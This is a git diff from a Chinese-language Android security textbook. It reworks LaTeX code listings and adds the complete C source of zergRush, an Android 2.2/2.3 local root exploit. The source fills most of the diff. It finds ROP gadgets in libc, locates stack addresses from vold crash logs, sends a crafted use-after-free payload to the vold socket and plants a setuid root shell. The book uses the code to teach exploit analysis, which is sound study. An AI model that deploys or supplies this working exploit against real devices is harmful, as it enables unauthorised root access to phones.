diff --git a/chapter-cn/arm.tex b/chapter-cn/arm.tex index 14648eb..4dcb39f 100644 --- a/chapter-cn/arm.tex +++ b/chapter-cn/arm.tex @@ -353,7 +353,7 @@ \subsection{函数功能概要} \end{description} \subsection{main函数} -\lstinputlisting[language=c,caption={zergRush的main函数}, firstnumber=387]{code/zergRush.main.c} +\lstinputlisting[language=c,caption={zergRush的main函数}, firstnumber=387, firstline=387, lastline=536]{code/zergRush.c} \begin{itemize} \item[395-396] 如果当前程序是以root权限运行,并且程序名为boomsh,则调用do\_root,执行附加的两步操作 \item[402-405] 将自身拷贝至/data/local/tmp/boomsh,并设置其权限为0711,将/system/bin/sh拷贝至/data/local/tmp/sh。 @@ -369,7 +369,7 @@ \subsection{main函数} \end{itemize} \subsection{do\_root函数} -\lstinputlisting[language=c,caption={zergRush的do\_root函数}, firstnumber=377]{code/zergRush.doroot.c} +\lstinputlisting[language=c,caption={zergRush的do\_root函数}, firstnumber=377, firstline=377, lastline=384]{code/zergRush.c} \begin{itemize} \item[395-396] 若当前程序是以root权限执行的/data/local/tmp/boomsh,则调用do\_root函数。 \item[379] 重新mount目录/data。 @@ -379,7 +379,7 @@ \subsection{do\_root函数} \end{itemize} \subsection{find\_stack\_addr函数} -\lstinputlisting[language=c,caption={zergRush的find\_stack\_addr函数}, firstnumber=324]{code/zergRush.findstackaddr.c} +\lstinputlisting[language=c,caption={zergRush的find\_stack\_addr函数}, firstnumber=324, firstline=324, lastline=374]{code/zergRush.c} \begin{itemize} \item[332-333] 清空logcat缓存,删除老的/data/local/tmp/crashlog日志文件。 \item[335-340] 重启一个logcat,将其日志输出至/data/local/tmp/crashlog文件。 @@ -389,7 +389,7 @@ \subsection{find\_stack\_addr函数} \end{itemize} \subsection{do\_fault函数} -\lstinputlisting[language=c,caption={zergRush的do\_fault函数}, firstnumber=163]{code/zergRush.dofault.c} +\lstinputlisting[language=c,caption={zergRush的do\_fault函数}, firstnumber=163, firstline=163, lastline=221]{code/zergRush.c} \begin{itemize} \item[165] buf是最后发送至vold的shellcode。 \item[169-181] padding是shellcode中的一段填充内容,全部为Z,无意义。长度为padding\_sz + 12。padding\_sz由108减去jumpsz计算得到。 diff --git a/chapter-cn/dalvik.tex b/chapter-cn/dalvik.tex index 066c2c3..d5686a3 100644 --- a/chapter-cn/dalvik.tex +++ b/chapter-cn/dalvik.tex @@ -111,28 +111,13 @@ \subsection{smali源文件} \lstinputlisting[language={},caption={smali源文件示例}]{code/example.smali} 第1行指明该文件所定义的类的名称\lstinline!com.packageName.example!,以及类属性\lstinline!public!;第2行指明该类的父类为\lstinline!java.lang.Object!;第3行指明该文件的文件名为example.java: -\begin{lstlisting}[language={}, firstnumber=1] -.class public Lcom/packageName/example; -.super Ljava/lang/Object; -.source "example.java" -\end{lstlisting} +\lstinputlisting[language={}, firstline=1, lastline=3, firstnumber=1]{code/example.smali} 第5和7行给出了类的两个域实例,一个是名为someInt的整型变量,一个是名为someBool的布尔型变量: -\begin{lstlisting}[language={}, firstnumber=5] -.field public final someInt:I - -.field public final someBool:Z -\end{lstlisting} +\lstinputlisting[language={}, firstline=5, lastline=7, firstnumber=5]{code/example.smali} 接下来是该类的构造函数。先看一下这个函数的开始几行: -\begin{lstlisting}[language={}, firstnumber=9] -.method public constructor (ZLjava/lang/String;I)V - .locals 6 - - .parameter "someBool" - .parameter "someInt" - .parameter "exampleString" -\end{lstlisting} +\lstinputlisting[language={}, firstline=9, lastline=14, firstnumber=9]{code/example.smali} 第9行的\lstinline!.method!前缀说明下面是一个函数,\lstinline!public!说明其作用域,\lstinline!constructor!说明其是类的构造函数,使用了默认的\lstinline!!作为供人阅读的函数名(显然,构造函数的真实函数名与类名相同)。接下来的\lstinline!(ZLjava/lang/String;I)V!需要注意,其中括号内是参数类型列表,多个参数直接写在一起,不使用任何符号分隔,括号后是返回值类型。在这个构造函数中,有三个参数,第一个参数\lstinline!Z!是布尔型;第二个参数\lstinline!Ljava/lang/String;!是Java中的字符(注意在以\lstinline!L!开头接对象全称的这种参数语法上,最后以分号结尾以划分与后面类型的界限);第三个参数\lstinline!I!是整型。返回值是\lstinline!V!,即\lstinline!void!型。因此,这个构造函数的原型为: \begin{lstlisting}[language=java, numbers=none] public void example(boolean someBool, String exampleString, int someInt); @@ -143,32 +128,17 @@ \subsection{smali源文件} 第12到14行给出了三个参数的名称。注意有时候代码被混淆后,这部分信息将丢失。另外注意这里列举的顺序与函数实际参数顺序并不一致。 -\begin{lstlisting}[language={}, firstnumber=16] - .prologue - .line 10 - invoke-direct {p0}, Ljava/lang/Object;->()V -\end{lstlisting} +\lstinputlisting[language={}, firstline=16, lastline=18, firstnumber=16]{code/example.smali} 第16行的\lstinline!.prologue!可以直接忽略。第17行的\lstinline!.line 10!标明行号,主要在调试时使用。 第18行出现了函数调用\lstinline!invode-direct!。其中,\lstinline!p0!是指参数0,即\lstinline!this!指针,这条语句调用了父类\lstinline!java.lang.Object!的构造函数,其参数为空,返回值为\lstinline!void!。 -\begin{lstlisting}[language={}, firstnumber=20] - const-string v0, "i will not fear. fear is the mind-killer." - - const/4 v0, 0xF - - new-instance v1, Ljava/lang/StringBuilder; - const-string v2, "the spice must flow" - invoke-direct {v1, v2}, Ljava/lang/StringBuilder;->(Ljava/lang/String;)V -\end{lstlisting} +\lstinputlisting[language={}, firstline=20, lastline=26, firstnumber=20]{code/example.smali} 第20行,将一个字符串的引用值赋给了局部寄存器\lstinline!v0!;第22行,将常量0xf(也就是十进制的15)赋给局部寄存器\lstinline!v0!,这会导致之前保存的字符串引用值丢失。 第24到26行,动态分配了一个\lstinline!java.lang.StringBuilder!对象,将其引用值赋给\lstinline!v1!,又将一个字符串的引用值赋给\lstinline!v2!,最后调用了\lstinline!v1!指向的\lstinline!StringBuilder!对象的构造函数,将\lstinline!v2!作为参数。注意第26行的\lstinline!invoke-direct!指令,其后的\lstinline!{v1, v2}!,第一个参数和第二个参数的不同作用。 -\begin{lstlisting}[language={}, firstnumber=28] - invoke-virtual {v1, p1}, Ljava/lang/StringBuilder;->append(Z)Ljava/lang/StringBuilder; - move-result-object v1 -\end{lstlisting} +\lstinputlisting[language={}, firstline=28, lastline=29, firstnumber=28]{code/example.smali} 第28行,调用了\lstinline!v1!指向\lstinline!StringBuilder!对象的\lstinline!append(boolean)!方法,其参数使用\lstinline!p1!,即该函数的第一个实际参数\lstinline!boolean someBool!。注意这条指令的返回值是一个新的\lstinline!java.lang.StringBuilder!对象,在第29行,将这个返回值重新赋给了\lstinline!v1!。综上,第20到29行的源码应该是: \begin{lstlisting}[language=java, numbers=none] @@ -178,17 +148,11 @@ \subsection{smali源文件} 我们跳过几行,直接看到第38行: -\begin{lstlisting}[language={}, firstnumber=38] - const-string v0, "Tag" - invoke-static {v0, v1}, Landroid/util/Log;->d(Ljava/lang/String;Ljava/lang/String;)I - move-result v0 -\end{lstlisting} +\lstinputlisting[language={}, firstline=38, lastline=40, firstnumber=38]{code/example.smali} 可以看到,在39行,调用了\lstinline!android.util.Log!中的\lstinline!int d(String, String)!这个静态方法,注意这里使用了恰当的\lstinline!invoke-static!指令,并且其两个参数\lstinline!{v0, v1}!直接作为了\lstinline!d()!的两个参数,而不再像前面\lstinline!invoke-direct!那样第一个参数是方法所在对象的句柄。 再来看第50行: -\begin{lstlisting}[language={}, firstnumber=50] - iput-boolean p1, p0, Lcom/packageName/example;->someBool:Z -\end{lstlisting} +\lstinputlisting[language={}, firstline=50, lastline=50, firstnumber=50]{code/example.smali} 使用了\lstinline!iput-boolean!指令,前面已经介绍,\lstinline!iput!是对对象实例中域的操作,这里对象实例由\lstinline!p0!给出,取出其名为\lstinline!someBool!的域,赋给\lstinline!p1!。注意这里遇到了一个名称作用域的问题,当前函数的第一个参数叫\lstinline!someBool!,当前类实例有一个域也叫\lstinline!someBool!,由于使用的\lstinline!iput!,因此这里使用类实例的域。这一行代码等价于源码: \begin{lstlisting}[language=java, numbers=none] someBool = this.someBool; diff --git a/code/zergRush.c b/code/zergRush.c new file mode 100644 index 0000000..1205842 --- /dev/null +++ b/code/zergRush.c @@ -0,0 +1,537 @@ +/* android 2.2/2.3 libsysutils root exploit use-after-free + * + * Exploited by rewriting a FrameworkCommand object making the runCommand + * point to our first ROP gadget. + * + * Copyright (c) 2011, The Revolutionary development team. + * + * Before using, insert empty formatted sdcard. USE IT AT YOUR OWN RISK, + * THIS PROGRAM MIGHT NOT WORK OR MAKES YOUR DEVICE USELESS/BRICKED. SO BE + * WARNED! I AM NOT RESPONSIBLE FOR ANY DAMAGE IT MIGHT CAUSE! + * + * It only works if called from adb shell since we need group log. + * + * Compile: + * agcc zergRush.c -o zergRush -ldiskconfig -lcutils + * + */ +#include +#include +#include +#include +#include +#include +#include + +#include +#include +#include +#include +#include +#include + +#include + +#include + +#include +#include +#include + +static pid_t logcat_pid = 0; +static char *sh = "/data/local/tmp/sh"; +static char *bsh = "/data/local/tmp/boomsh"; +static char *crashlog = "/data/local/tmp/crashlog"; +static char *vold = "/system/bin/vold"; + +uint32_t heap_addr; +uint32_t stack_addr = 0x41414141; +uint32_t system_ptr = 0; +uint32_t stack_pivot = 0x41414141; +uint32_t pop_r0 = 0x41414141; +uint32_t jumpsz = 0; +uint32_t gadget_jumpsz = 108; +uint32_t buffsz = 0; +uint32_t allbuffsz[] = {16,24,0}; + +extern char **environ; + + +static void die(const char *msg) +{ + perror(msg); + exit(errno); +} + + +static int copy(const char *from, const char *to) +{ + int fd1, fd2; + char buf[0x1000]; + int r = 0; + + if ((fd1 = open(from, O_RDONLY)) < 0) + return -1; + if ((fd2 = open(to, O_RDWR|O_CREAT|O_TRUNC, 0600)) < 0) { + close(fd1); + return -1; + } + + for (;;) { + r = read(fd1, buf, sizeof(buf)); + if (r <= 0) + break; + if (write(fd2, buf, r) != r) + break; + } + + close(fd1); + close(fd2); + sync(); sync(); + return r; +} + + +static int remount_data(const char *mntpoint) +{ + FILE *f = NULL; + int found = 0; + char buf[1024], *dev = NULL, *fstype = NULL; + + if ((f = fopen("/proc/mounts", "r")) == NULL) + return -1; + + memset(buf, 0, sizeof(buf)); + for (;!feof(f);) { + if (fgets(buf, sizeof(buf), f) == NULL) + break; + if (strstr(buf, mntpoint)) { + found = 1; + break; + } + } + fclose(f); + if (!found) + return -1; + if ((dev = strtok(buf, " \t")) == NULL) + return -1; + if (strtok(NULL, " \t") == NULL) + return -1; + if ((fstype = strtok(NULL, " \t")) == NULL) + return -1; + return mount(dev, mntpoint, fstype, MS_REMOUNT, 0); +} + + +static void *find_symbol(char *sym) +{ + void *r = NULL; + void *dlh = dlopen("/system/libc/libc.so", RTLD_NOW); + + if (!dlh) + die("[-] dlopen"); + if ((r = (void *)dlsym(dlh, sym)) == NULL) + die("[-] dlsym"); + dlclose(dlh); + return r; +} + + +static int check_addr(uint32_t addr) +{ + /* + * Check if address contains one of the forbidden bytes + */ + int i = 0; + + for(i=0; i<32; i+=8) { + switch((addr>>i) & 0xff) { + case 0x20: + case 0x22: + case 0x5c: + return -1; + break; + default: + break; + } + } + + return 0; +} + + +static int do_fault() +{ + char buf[255]; + int sock = -1, n = 0, i; + char s_stack_addr[5], s_stack_pivot_addr[5], s_pop_r0_addr[5], s_system[5], s_bsh_addr[5], s_heap_addr[5]; + uint32_t bsh_addr; + char padding[128]; + int32_t padding_sz = (jumpsz == 0 ? 0 : gadget_jumpsz - jumpsz); + + memset(padding, 0, 128); + strcpy(padding, "LORDZZZZzzzz"); + if(padding_sz > 0) { + memset(padding+12, 'Z', padding_sz); + printf("[*] Poping %d more zerglings\n", padding_sz); + } + else if(padding_sz < 0) { + memset(padding, 0, 128); + memset(padding, 'Z', 12+padding_sz); + } + + if ((sock = socket_local_client("vold", ANDROID_SOCKET_NAMESPACE_RESERVED, SOCK_STREAM)) < 0) + die("[-] Error creating Nydus"); + + sprintf(s_stack_addr, "%c%c%c%c", stack_addr & 0xff, (stack_addr>>8)&0xff, (stack_addr>>16)&0xff, (stack_addr>>24)&0xff); + sprintf(s_stack_pivot_addr, "%c%c%c%c", stack_pivot & 0xff, (stack_pivot>>8)&0xff, (stack_pivot>>16)&0xff, (stack_pivot>>24)&0xff); + sprintf(s_pop_r0_addr, "%c%c%c%c", pop_r0 & 0xff, (pop_r0>>8)&0xff, (pop_r0>>16)&0xff, (pop_r0>>24)&0xff); + sprintf(s_system, "%c%c%c%c", system_ptr & 0xff, (system_ptr>>8)&0xff, (system_ptr>>16)&0xff, (system_ptr>>24)&0xff); + sprintf(s_heap_addr, "%c%c%c%c", heap_addr & 0xff, (heap_addr>>8)&0xff, (heap_addr>>16)&0xff, (heap_addr>>24)&0xff); + + strcpy(buf, "ZERG"); + strcat(buf, " ZZ "); + strcat(buf, s_stack_pivot_addr); + for(i=3; i < buffsz+1; i++) + strcat(buf, " ZZZZ"); + strcat(buf, " "); + strcat(buf, s_heap_addr); + + n = strlen(buf); + bsh_addr = stack_addr + n + 1 + 8 + 8 + 8 + padding_sz + 12 + 4; + + if(check_addr(bsh_addr) == -1) { + printf("[-] Colossus, we're doomed!\n"); + exit(-1); + } + + sprintf(s_bsh_addr, "%c%c%c%c", bsh_addr & 0xff, (bsh_addr>>8)&0xff, (bsh_addr>>16)&0xff, (bsh_addr>>24)&0xff); + + n += sprintf(buf+n+1, "%s%s OVER%s%s%s%sZZZZ%s%c", s_stack_addr, s_heap_addr, padding, s_pop_r0_addr, s_bsh_addr, s_system, bsh, 0); + + printf("[*] Sending %d zerglings ...\n", n); + + if ((n = write(sock, buf, n+1)) < 0) + die("[-] Nydus seems broken"); + + sleep(3); + close(sock); + + return n; +} + + +static int find_rop_gadgets() +{ + /* + * add sp, #108 -> b01b + * pop {r4, r5, r6, r7, pc} -> bdf0 + * + * pop {r0, pc} -> bd01 + */ + int fd; + char r[2], d[2]; + int n = 2; + int bad = 0; + + if((fd=open("/system/lib/libc.so", O_RDONLY)) == -1) + die("[-] open"); + + lseek(fd, 0x10000, SEEK_SET); + + while(n == 2 && (stack_pivot == 0x41414141 || pop_r0 == 0x41414141)) { + n = read(fd, r, 2); + switch(r[0]) { + case '\x1b': + if(r[1] == '\xb0') { + n = read(fd, d, 2); + if(d[0] == '\xf0' && d[1] == '\xbd') { + stack_pivot = 0xafd00000 + lseek(fd, 0, SEEK_CUR) - 4 + 1; + if(check_addr(stack_pivot) == -1) + stack_pivot = 0x41414141; + } + } + break; + case '\x01': + if(r[1] == '\xbd') { + pop_r0 = 0xafd00000 + lseek(fd, 0, SEEK_CUR) - 2 + 1; + if(check_addr(pop_r0) == -1) + pop_r0 = 0x41414141; + } + break; + default: + break; + } + } + + if (stack_pivot == 0x41414141) { + printf("[-] You need more minerals !\n"); + bad = -1; + } + + if (pop_r0 == 0x41414141) { + printf("[-] You need more vespene gas !\n"); + bad = -1; + } + + if(bad == -1) + exit(-1); + + return 0; +} + + +static uint32_t checkcrash() +{ + uint32_t fault_addr = 0; + char buf[1024], *ptr = NULL; + FILE *f = NULL; + long pos = 0; + uint32_t sp=0, over=0; + + system("/system/bin/logcat -c"); + unlink(crashlog); + + if ((logcat_pid = fork()) == 0) { + char *a[] = {"/system/bin/logcat", "-f", crashlog, NULL}; + execve(*a, a, environ); + exit(1); + } + sleep(3); + + if (do_fault() < 0) + die("[-] Zerglings did not cause crash"); + /* Give logcat time to write to file + */ + sleep(3); + if ((f = fopen(crashlog, "r")) == NULL) + die("[-] Zerglings did not leave stuff at all"); + fseek(f, pos, SEEK_SET); + do { + memset(buf, 0, sizeof(buf)); + if (!fgets(buf, sizeof(buf), f)) + break; + if ((ptr = strstr(buf, " sp ")) != NULL && !sp) + return 1; + } while (!feof(f)); + pos = ftell(f); + fclose(f); + + return 0; +} + + +static uint32_t find_stack_addr() +{ + uint32_t fault_addr = 0; + char buf[1024], *ptr = NULL; + FILE *f = NULL; + long pos = 0; + uint32_t sp=0, over=0; + + system("/system/bin/logcat -c"); + unlink(crashlog); + + if ((logcat_pid = fork()) == 0) { + char *a[] = {"/system/bin/logcat", "-f", crashlog, NULL}; + execve(*a, a, environ); + exit(1); + } + sleep(3); + + if (do_fault() < 0) + die("[-] Zerglings did not cause crash"); + /* Give logcat time to write to file + */ + sleep(3); + if ((f = fopen(crashlog, "r")) == NULL) + die("[-] Zerglings did not leave stuff at all"); + fseek(f, pos, SEEK_SET); + do { + memset(buf, 0, sizeof(buf)); + if (!fgets(buf, sizeof(buf), f)) + break; + if ((ptr = strstr(buf, " 4752455a")) != NULL && stack_addr == 0x41414141) { + ptr -= 8; + stack_addr = (uint32_t)strtoul(ptr, NULL, 16); + } + else if ((ptr = strstr(buf, " 5245564f")) != NULL && !over) { + ptr -= 8; + over = (uint32_t)strtoul(ptr, NULL, 16); + } + else if ((ptr = strstr(buf, " sp ")) != NULL && !sp) { + ptr += 5; + sp = (uint32_t)strtoul(ptr, NULL, 16); + } + } while (!feof(f)); + pos = ftell(f); + fclose(f); + + if(over && sp) + jumpsz = over - sp; + + return stack_addr; +} + + +static void do_root() +{ + remount_data("/data"); + chown(sh, 0, 0); + chmod(sh, 04711); + property_set("ro.kernel.qemu","1"); + exit(0); +} + + +int main(int argc, char **argv, char **env) +{ + uint32_t i = 0, ok = 0; + char *ash[] = {sh, 0}; + struct stat st; + char version_release[256]; + int tries=0; + + if (geteuid() == 0 && getuid() == 0 && strstr(argv[0], "boomsh")) + do_root(); + + printf("\n[**] Zerg rush - Android 2.2/2.3 local root\n"); + printf("[**] (C) 2011 Revolutionary. All rights reserved.\n\n"); + printf("[**] Parts of code from Gingerbreak, (C) 2010-2011 The Android Exploid Crew.\n\n"); + + if (copy("/proc/self/exe", bsh) < 0 || copy("/system/bin/sh", sh) < 0) + die("[-] Cannot copy boomsh."); + + chmod(bsh, 0711); + + stat(vold, &st); + heap_addr = ((((st.st_size) + 0x8000) / 0x1000) + 1) * 0x1000; + + __system_property_get("ro.build.version.release", version_release); + + if (strstr(version_release, "2.2")) { + heap_addr += 0x108; + printf("[+] Found a Froyo ! 0x%08x\n", heap_addr); + } else if (strstr(version_release, "2.3")) { + heap_addr += 0x118; + printf("[+] Found a GingerBread ! 0x%08x\n", heap_addr); + } else { + printf("[-] Not a 2.2/2.3 Android ...\n"); + exit(-1); + } + + system_ptr = (uint32_t) find_symbol("system"); + + if (check_addr(system_ptr) == -1) { + printf("[-] High templars, we're doomed!\n"); + exit(-1); + } + + tries = 0; + printf("[*] Scooting ...\n"); + while(buffsz=allbuffsz[tries]) { + if(checkcrash()) { + printf("[+] Zerglings found a way to enter ! 0x%02x\n", buffsz); + break; + } + tries++; + } + + if(!buffsz) { + printf("[-] Hellions with BLUE flames !\n"); + exit(-1); + } + + for (tries = 0; tries < 5; tries++) { + find_stack_addr(); + + if (stack_addr != 0x41414141 && jumpsz) { + printf("[+] Zerglings caused crash (good news): 0x%08x 0x%04x\n", stack_addr, jumpsz); + break; + } + + printf("[*] Trying a new path ...\n"); + switch(tries) { + case 0: + case 2: + case 4: + heap_addr += 8; + break; + case 1: + heap_addr += 0xb8; + break; + case 3: + heap_addr -= 0x180; + break; + default: + break; + } + } + + if (stack_addr == 0x41414141 || !jumpsz) { + printf("[-] Zerglings did not leave interesting stuff\n"); + exit(-1); + } + + if (check_addr(stack_addr) == -1) { + printf("[-] Siege tanks, we're doomed!\n"); + exit(-1); + } + + if (jumpsz > 108 + 12) { + printf("[-] This terran has walled!\n"); + exit(-1); + } + + kill(logcat_pid, SIGKILL); + unlink(crashlog); + + printf("[*] Researching Metabolic Boost ...\n"); + find_rop_gadgets(); + printf("[+] Speedlings on the go ! 0x%08x 0x%08x\n", stack_pivot, pop_r0); + + for(i=0; i<3; i++) { + do_fault(); + + stat(sh, &st); + if ((st.st_mode & 04000) == 04000) { + printf("\n[+] Rush did it ! It's a GG, man !\n"); + ok = 1; + break; + } else { + printf("\n[-] Bad luck, our rush did not succeed :( (%d/%d)\n", i, 2); + switch(i) { + case 0: + heap_addr += 16; + break; + case 1: + heap_addr -=32; + break; + default: + break; + } + } + } + + if (ok) { + char qemuprop[1]; + property_get("ro.kernel.qemu",qemuprop,"0"); + + if (qemuprop[0]=='1') { + printf("[+] Killing ADB and restarting as root... enjoy!\n"); + fflush(stdout); + sleep(1); + kill(-1,SIGTERM); + } else { + printf("[-] Failed to set property to restart adb. Not killing.\n"); + } + } else { + printf("Exiting. Try again later.\n"); + fflush(stdout); + sleep(1); + kill(-1,SIGTERM); + } + + return 0; +} + diff --git a/code/zergRush.dofault.c b/code/zergRush.dofault.c deleted file mode 100644 index 5086bf3..0000000 --- a/code/zergRush.dofault.c +++ /dev/null @@ -1,59 +0,0 @@ -static int do_fault() -{ - char buf[255]; - int sock = -1, n = 0, i; - char s_stack_addr[5], s_stack_pivot_addr[5], s_pop_r0_addr[5], s_system[5], s_bsh_addr[5], s_heap_addr[5]; - uint32_t bsh_addr; - char padding[128]; - int32_t padding_sz = (jumpsz == 0 ? 0 : gadget_jumpsz - jumpsz); - - memset(padding, 0, 128); - strcpy(padding, "LORDZZZZzzzz"); - if(padding_sz > 0) { - memset(padding+12, 'Z', padding_sz); - printf("[*] Poping %d more zerglings\n", padding_sz); - } - else if(padding_sz < 0) { - memset(padding, 0, 128); - memset(padding, 'Z', 12+padding_sz); - } - - if ((sock = socket_local_client("vold", ANDROID_SOCKET_NAMESPACE_RESERVED, SOCK_STREAM)) < 0) - die("[-] Error creating Nydus"); - - sprintf(s_stack_addr, "%c%c%c%c", stack_addr & 0xff, (stack_addr>>8)&0xff, (stack_addr>>16)&0xff, (stack_addr>>24)&0xff); - sprintf(s_stack_pivot_addr, "%c%c%c%c", stack_pivot & 0xff, (stack_pivot>>8)&0xff, (stack_pivot>>16)&0xff, (stack_pivot>>24)&0xff); - sprintf(s_pop_r0_addr, "%c%c%c%c", pop_r0 & 0xff, (pop_r0>>8)&0xff, (pop_r0>>16)&0xff, (pop_r0>>24)&0xff); - sprintf(s_system, "%c%c%c%c", system_ptr & 0xff, (system_ptr>>8)&0xff, (system_ptr>>16)&0xff, (system_ptr>>24)&0xff); - sprintf(s_heap_addr, "%c%c%c%c", heap_addr & 0xff, (heap_addr>>8)&0xff, (heap_addr>>16)&0xff, (heap_addr>>24)&0xff); - - strcpy(buf, "ZERG"); - strcat(buf, " ZZ "); - strcat(buf, s_stack_pivot_addr); - for(i=3; i < buffsz+1; i++) - strcat(buf, " ZZZZ"); - strcat(buf, " "); - strcat(buf, s_heap_addr); - - n = strlen(buf); - bsh_addr = stack_addr + n + 1 + 8 + 8 + 8 + padding_sz + 12 + 4; - - if(check_addr(bsh_addr) == -1) { - printf("[-] Colossus, we're doomed!\n"); - exit(-1); - } - - sprintf(s_bsh_addr, "%c%c%c%c", bsh_addr & 0xff, (bsh_addr>>8)&0xff, (bsh_addr>>16)&0xff, (bsh_addr>>24)&0xff); - - n += sprintf(buf+n+1, "%s%s OVER%s%s%s%sZZZZ%s%c", s_stack_addr, s_heap_addr, padding, s_pop_r0_addr, s_bsh_addr, s_system, bsh, 0); - - printf("[*] Sending %d zerglings ...\n", n); - - if ((n = write(sock, buf, n+1)) < 0) - die("[-] Nydus seems broken"); - - sleep(3); - close(sock); - - return n; -} diff --git a/code/zergRush.doroot.c b/code/zergRush.doroot.c deleted file mode 100644 index d38bead..0000000 --- a/code/zergRush.doroot.c +++ /dev/null @@ -1,8 +0,0 @@ -static void do_root() -{ - remount_data("/data"); - chown(sh, 0, 0); - chmod(sh, 04711); - property_set("ro.kernel.qemu","1"); - exit(0); -} diff --git a/code/zergRush.findstackaddr.c b/code/zergRush.findstackaddr.c deleted file mode 100644 index 0a5d270..0000000 --- a/code/zergRush.findstackaddr.c +++ /dev/null @@ -1,51 +0,0 @@ -static uint32_t find_stack_addr() -{ - uint32_t fault_addr = 0; - char buf[1024], *ptr = NULL; - FILE *f = NULL; - long pos = 0; - uint32_t sp=0, over=0; - - system("/system/bin/logcat -c"); - unlink(crashlog); - - if ((logcat_pid = fork()) == 0) { - char *a[] = {"/system/bin/logcat", "-f", crashlog, NULL}; - execve(*a, a, environ); - exit(1); - } - sleep(3); - - if (do_fault() < 0) - die("[-] Zerglings did not cause crash"); - /* Give logcat time to write to file - */ - sleep(3); - if ((f = fopen(crashlog, "r")) == NULL) - die("[-] Zerglings did not leave stuff at all"); - fseek(f, pos, SEEK_SET); - do { - memset(buf, 0, sizeof(buf)); - if (!fgets(buf, sizeof(buf), f)) - break; - if ((ptr = strstr(buf, " 4752455a")) != NULL && stack_addr == 0x41414141) { - ptr -= 8; - stack_addr = (uint32_t)strtoul(ptr, NULL, 16); - } - else if ((ptr = strstr(buf, " 5245564f")) != NULL && !over) { - ptr -= 8; - over = (uint32_t)strtoul(ptr, NULL, 16); - } - else if ((ptr = strstr(buf, " sp ")) != NULL && !sp) { - ptr += 5; - sp = (uint32_t)strtoul(ptr, NULL, 16); - } - } while (!feof(f)); - pos = ftell(f); - fclose(f); - - if(over && sp) - jumpsz = over - sp; - - return stack_addr; -} diff --git a/code/zergRush.main.c b/code/zergRush.main.c deleted file mode 100644 index de42e36..0000000 --- a/code/zergRush.main.c +++ /dev/null @@ -1,150 +0,0 @@ -int main(int argc, char **argv, char **env) -{ - uint32_t i = 0, ok = 0; - char *ash[] = {sh, 0}; - struct stat st; - char version_release[256]; - int tries=0; - - if (geteuid() == 0 && getuid() == 0 && strstr(argv[0], "boomsh")) - do_root(); - - printf("\n[**] Zerg rush - Android 2.2/2.3 local root\n"); - printf("[**] (C) 2011 Revolutionary. All rights reserved.\n\n"); - printf("[**] Parts of code from Gingerbreak, (C) 2010-2011 The Android Exploid Crew.\n\n"); - - if (copy("/proc/self/exe", bsh) < 0 || copy("/system/bin/sh", sh) < 0) - die("[-] Cannot copy boomsh."); - - chmod(bsh, 0711); - - stat(vold, &st); - heap_addr = ((((st.st_size) + 0x8000) / 0x1000) + 1) * 0x1000; - - __system_property_get("ro.build.version.release", version_release); - - if (strstr(version_release, "2.2")) { - heap_addr += 0x108; - printf("[+] Found a Froyo ! 0x%08x\n", heap_addr); - } else if (strstr(version_release, "2.3")) { - heap_addr += 0x118; - printf("[+] Found a GingerBread ! 0x%08x\n", heap_addr); - } else { - printf("[-] Not a 2.2/2.3 Android ...\n"); - exit(-1); - } - - system_ptr = (uint32_t) find_symbol("system"); - - if (check_addr(system_ptr) == -1) { - printf("[-] High templars, we're doomed!\n"); - exit(-1); - } - - tries = 0; - printf("[*] Scooting ...\n"); - while(buffsz=allbuffsz[tries]) { - if(checkcrash()) { - printf("[+] Zerglings found a way to enter ! 0x%02x\n", buffsz); - break; - } - tries++; - } - - if(!buffsz) { - printf("[-] Hellions with BLUE flames !\n"); - exit(-1); - } - - for (tries = 0; tries < 5; tries++) { - find_stack_addr(); - - if (stack_addr != 0x41414141 && jumpsz) { - printf("[+] Zerglings caused crash (good news): 0x%08x 0x%04x\n", stack_addr, jumpsz); - break; - } - - printf("[*] Trying a new path ...\n"); - switch(tries) { - case 0: - case 2: - case 4: - heap_addr += 8; - break; - case 1: - heap_addr += 0xb8; - break; - case 3: - heap_addr -= 0x180; - break; - default: - break; - } - } - - if (stack_addr == 0x41414141 || !jumpsz) { - printf("[-] Zerglings did not leave interesting stuff\n"); - exit(-1); - } - - if (check_addr(stack_addr) == -1) { - printf("[-] Siege tanks, we're doomed!\n"); - exit(-1); - } - - if (jumpsz > 108 + 12) { - printf("[-] This terran has walled!\n"); - exit(-1); - } - - kill(logcat_pid, SIGKILL); - unlink(crashlog); - - printf("[*] Researching Metabolic Boost ...\n"); - find_rop_gadgets(); - printf("[+] Speedlings on the go ! 0x%08x 0x%08x\n", stack_pivot, pop_r0); - - for(i=0; i<3; i++) { - do_fault(); - - stat(sh, &st); - if ((st.st_mode & 04000) == 04000) { - printf("\n[+] Rush did it ! It's a GG, man !\n"); - ok = 1; - break; - } else { - printf("\n[-] Bad luck, our rush did not succeed :( (%d/%d)\n", i, 2); - switch(i) { - case 0: - heap_addr += 16; - break; - case 1: - heap_addr -=32; - break; - default: - break; - } - } - } - - if (ok) { - char qemuprop[1]; - property_get("ro.kernel.qemu",qemuprop,"0"); - - if (qemuprop[0]=='1') { - printf("[+] Killing ADB and restarting as root... enjoy!\n"); - fflush(stdout); - sleep(1); - kill(-1,SIGTERM); - } else { - printf("[-] Failed to set property to restart adb. Not killing.\n"); - } - } else { - printf("Exiting. Try again later.\n"); - fflush(stdout); - sleep(1); - kill(-1,SIGTERM); - } - - return 0; -}